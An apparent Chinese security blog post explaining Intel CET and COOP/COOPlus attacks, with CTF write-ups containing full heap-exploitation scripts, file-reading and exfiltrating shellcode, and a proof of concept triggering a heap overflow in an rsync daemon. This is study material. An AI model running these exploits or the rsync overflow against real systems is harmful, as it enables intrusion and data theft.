在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACKbootlin),这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发异常。Shadow stack 指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会目标地址及相邻的内存,且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。

(内核这块目前我还不清楚,以后补充吧。)

Intel CET 启用后的攻击思路

虽然 ROP 被 SHSTK 彻底拿下(😭),但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法,没考虑这个地址是否被替换。于是我们就有了新的攻击思路。

虚函数表劫持

我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持(virtual table hijack)相关的 Pwn 题(CTFers)。于是把那道题的题解搬到这里。

我们考虑这样的 C++ 程序:

#include <iostream>
#include <vector>

class Base {
  public:
    virtual void func() = 0; // 纯虚函数
};

class A : public Base {
    void func() override { std::cout << "I am A!\n"; }
};

class B : public Base {
    void func() override { std::cout << "I am B!\n"; }
};

int main() {
    std::vector<Base *> objs;

    objs.emplace_back(new A());
    objs.emplace_back(new B());
    for (auto obj : objs) {
        obj->func();
    }
}

// 输出:
// I am A!
// I am B!

AB 继承自 Basestd::vector 存储这两种对象时仅存储其基类对象指针(实际应该使用智能指针)而丢弃了具体的类型信息(A 还是 B?)。然而我们依旧可以直接调用对应类型的虚函数 func,这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表,在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址,然后再进行调用:

; rax 为对象地址
mov     rdx, qword [rax]          ; 取虚函数表
mov     rdx, qword [rdx + offset] ; 取虚函数
mov     rdi, rax                  ; 传 this 指针隐式作为首个参数
call    rdx                       ; 虚函数调用

所以,一个包含了虚函数的 C++ 对象的内存布局会是这样:

struct Object {
    void (**vtable)(struct Object *, ...); // 虚函数表指针
    
    /* 对象字段 ... */
};

如果我们能劫持虚函数表指针,指向伪造的虚函数表,其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果(用来泄露基址、执行 orw 等)。没有 ROP 的话怎么做到链式“拼接”代码片段呢?这就可以考虑 COOP。

COOP

COOP(Counterfeit Object Oriented Programming / 面向伪对象编程)是一种新的代码重用攻击。其实我们早已见过 COOP 攻击:高版本 glibc 堆利用往往结合 IO_FILE 利用,“打 IO”就是一种原始的 COOP,只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段,篡改 vtable,构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行,需要真正的基于 vfgadgets 的 COOP。

Vfgadgets 是 COOP 论文提出的新型 gadgets,由于 SHSTK + IBT,我们能够利用的 gadgets 从 ret 前的代码片段(ROP gadgets)变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget(将其他 vfgadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)和 Collector Gadget(存储 Invoker 的结果)。

img

以上是一张关于 COOP 攻击十分经典的配图

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源,以下是高度简化的模型:

// 这个类实际上应该不会生成虚函数,所有 vfgadgets 也不是在同一个类中,只为简化理解。
class Vfgadgets {
    size_t data;              // 数据类型不是重点
    size_t *addr;
    std::vector<Base *> objs; // 也可以是更简单的:Base* objs[N];

    virtual void looper() {
        for (auto obj : objs) {
            obj->func();
        }
    }
    
    virtual void invoker() {
        this->victim_vfunc();
    }
    
    virtual void loader() {
        size_t var;       // 寄存器变量
        var = this->data; // 也可以是 var = *(this->addr) 之类
                          // 总之是从对象写入寄存器
    }

    virtual void collector(size_t arg) {
        this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类
                          // 总之是从寄存器或立即数写入对象
    }
    
    virtual void victim_vfunc() {
        // 这里的函数体不是重点,反正会被篡改成另一个函数。
    }
};

其实为了给这些 vfgadgets 再分类,原论文用了很多概念和抽象,我写得还是过于不严谨了(应该比较直观吧)。这几种 vfgadgets 中最重要的是 Main Loop Gadget(Looper),它将所有真正有用的 vfgadgets 串联起来,构成链式调用,达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器,其中是有虚函数表的对象,并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见,比如释放资源时调用虚析构函数,注册/注销事件之类。

COOP 的攻击条件是已知基址且能够伪造对象,例如 UAF 或者堆缓冲区溢出等漏洞,可以控制堆上分配的对象。我们需要伪造的东西有:

  1. Looper 所在对象(类比 FSOP 时篡改 _IO_list_all

    ​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper,再篡改这个 Looper 遍历的伪对象容器地址或内容(指针数组)。

  2. Looper 遍历的伪对象(类比 FSOP 时构造 fake files)

    ​ 将会被调用的虚函数改为其他三种 vfgadgets。

一旦 Looper 被调用,它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话,那应该就可以直接把 ROP gadgets 当作 vfgadgets,只是这些 gadgets 不由 ret“触发”而是直接被 call,理应实现任意代码执行。如果开启了 IBT 就更加困难了,毕竟只能执行完整的函数 (?),而不是 ret 前的代码片段,不过依旧能够实现攻击。(据说 COOP 和 ROP 一样是图灵完备的,具体分析过程我还没看明白。)

这种玩法好像在哪里见过?

  • Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语,遍历 _IO_list_all_IO_flush_all 可以看作 looper。
  • 很像篡改 glibc ld.so _rtld_global 伪造 fini_arrayfini_array 类似那个容器,不过里面存的直接就是 vfgadgets,那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。

COOPlus 原论文的 presentation 里面有很多配图值得一看。

COOPlus

简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施,例如 gcc 的 virtual table verification(VTV)。虚函数表中会有一个类似 stack canary 的 magic number,在调用虚函数前会先校验虚函数表指针,虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable,不过那是通过地址范围来检查。由于虚函数表一般都在只读段,所以不容易篡改。

然而如果我们在整个利用过程中所有虚函数表指针都合法呢?也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起,只需篡改虚函数表指针低位,无需泄露基址就可能更换虚函数表,从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面,通过 vfgadgets 篡改对象中的关键字段(例如权限等级、缓冲区长度等)从而进一步利用。

COOPlus 原论文设计了一个工具 VScape,可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。

缓解措施

如果细粒度前向控制流完整性保护启用了的话,每次虚函数调用都要校验函数指针(而非只是表)的签名,那 COOP 应该就废了。不过这样激进的保护应该不太可能大面积应用。

……

参考资料

COOP 原论文

COOPlus / VScape 原论文

Bypassing Intel CET with Counterfeit Objects

CVE-2015-5122: Exploitation Using COOP

《Counterfeit Object-oriented Programming》 论文笔记

glibc 2.39 菜单堆。逆向得出堆块结构体:

struct Member
{
    int64_t backup_size;
    char* backup;
    char name[0x20];
    char department[0x18];
    int32_t level;
    int32_t index;
    int64_t create_time;
    uint64_t checksum;
};

写出各功能交互模板:

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'1')

def backup_edit(index: int, data: bytes):
    backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'1')
    io.sendafter(b'global data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'4')

global_Hash+Append 时可能 off_by_one 写入 ']':

global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()

这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bkbackup 重合以泄露基址以及构造假堆块:

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# gdb.attach(io, 'set exception-verbose on')

def _manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    _manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    if backup is not None:
        io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    _manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def _backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int) -> bytes:
    _backup(index)
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'Backup @ ')
    io.recvuntil(b': ')
    return io.recvline(False)

def backup_edit(index: int, data: bytes):
    _backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    _backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'4')

def exitit():
    io.sendlineafter(b'Choice: ', b'5')

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)

crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding

crew_delete(4)
crew_delete(6)

crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next

crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)

exitit()
hos.bomb(io)

io.interactive()

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?

某天在 archlinux 主页看到建议立即更新 Rsync 的警告,看了下感觉复现难度不高,于是来试试。

Rsync 版本 31.0,采用默认配置 ftp 模式。远程服务器上随便放一个 libc.so.6 文件作为测试(文件本身是什么不重要,但是要稍大一些)。

漏洞的具体分析在 Google 的这篇文章写得很清楚,我就不赘述了。简单来说就是在 rsync daemon 文件同步过程中,客户端上传用于比对文件是否一致的校验和 sum2 时,用于控制其长度的 s2length 用户可控且最大值大于 sum2 缓冲区长度。(怀疑是某次更新时被杂乱的宏定义搞晕了)伪造 s2length 即可构造最长 48 字节的堆上缓冲区溢出,威力极强。

    #!/usr/bin/python
    
    from pwn import *
    
    context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
    binary = './rsync'
    
    io = connect('127.0.0.1', 873) # 远程服务器 rsync --daemon
    e = ELF(binary)
    libc = ELF('/usr/lib/libc.so.6', checksec=None)
    
    # gdb.attach(p, 'b *$rebase(0x22068)')
    
    io.sendlineafter(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4', b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4')
    io.sendline(b'ftp')
    io.sendafter(b'@RSYNCD: OK', bytes.fromhex('2d2d736572766572002d2d73656e646572002d766c6f67447470727a652e694c73667843497675002e006674702f6c6962632e736f2e3600001e7878683132382078786833207878683634206d6435206d64342073686131137a737464206c7a34207a6c696278207a6c69620400000700000000130000070200a0')) # 复现正常的协议交换过程等
    # cksum count, block length, cksum length, remainder length
    io.sendafter(b'root', p32(1) + p32(64) * 2 + p32(0))
    io.send(p32(0x07000044) + p32(0xcafebabe) + cyclic(64)) # 0x07000044 为消息头,0xcafebabe 为 sum,cyclic(64) 为 sum2(长度最大 16 字节,溢出 48 字节)
    
    io.recvall()

堆缓冲区溢出效果:

img

img

虽然但是,做 CTF glibc heap Pwn 做得有点恶心了,并不想写 exploit...(懒)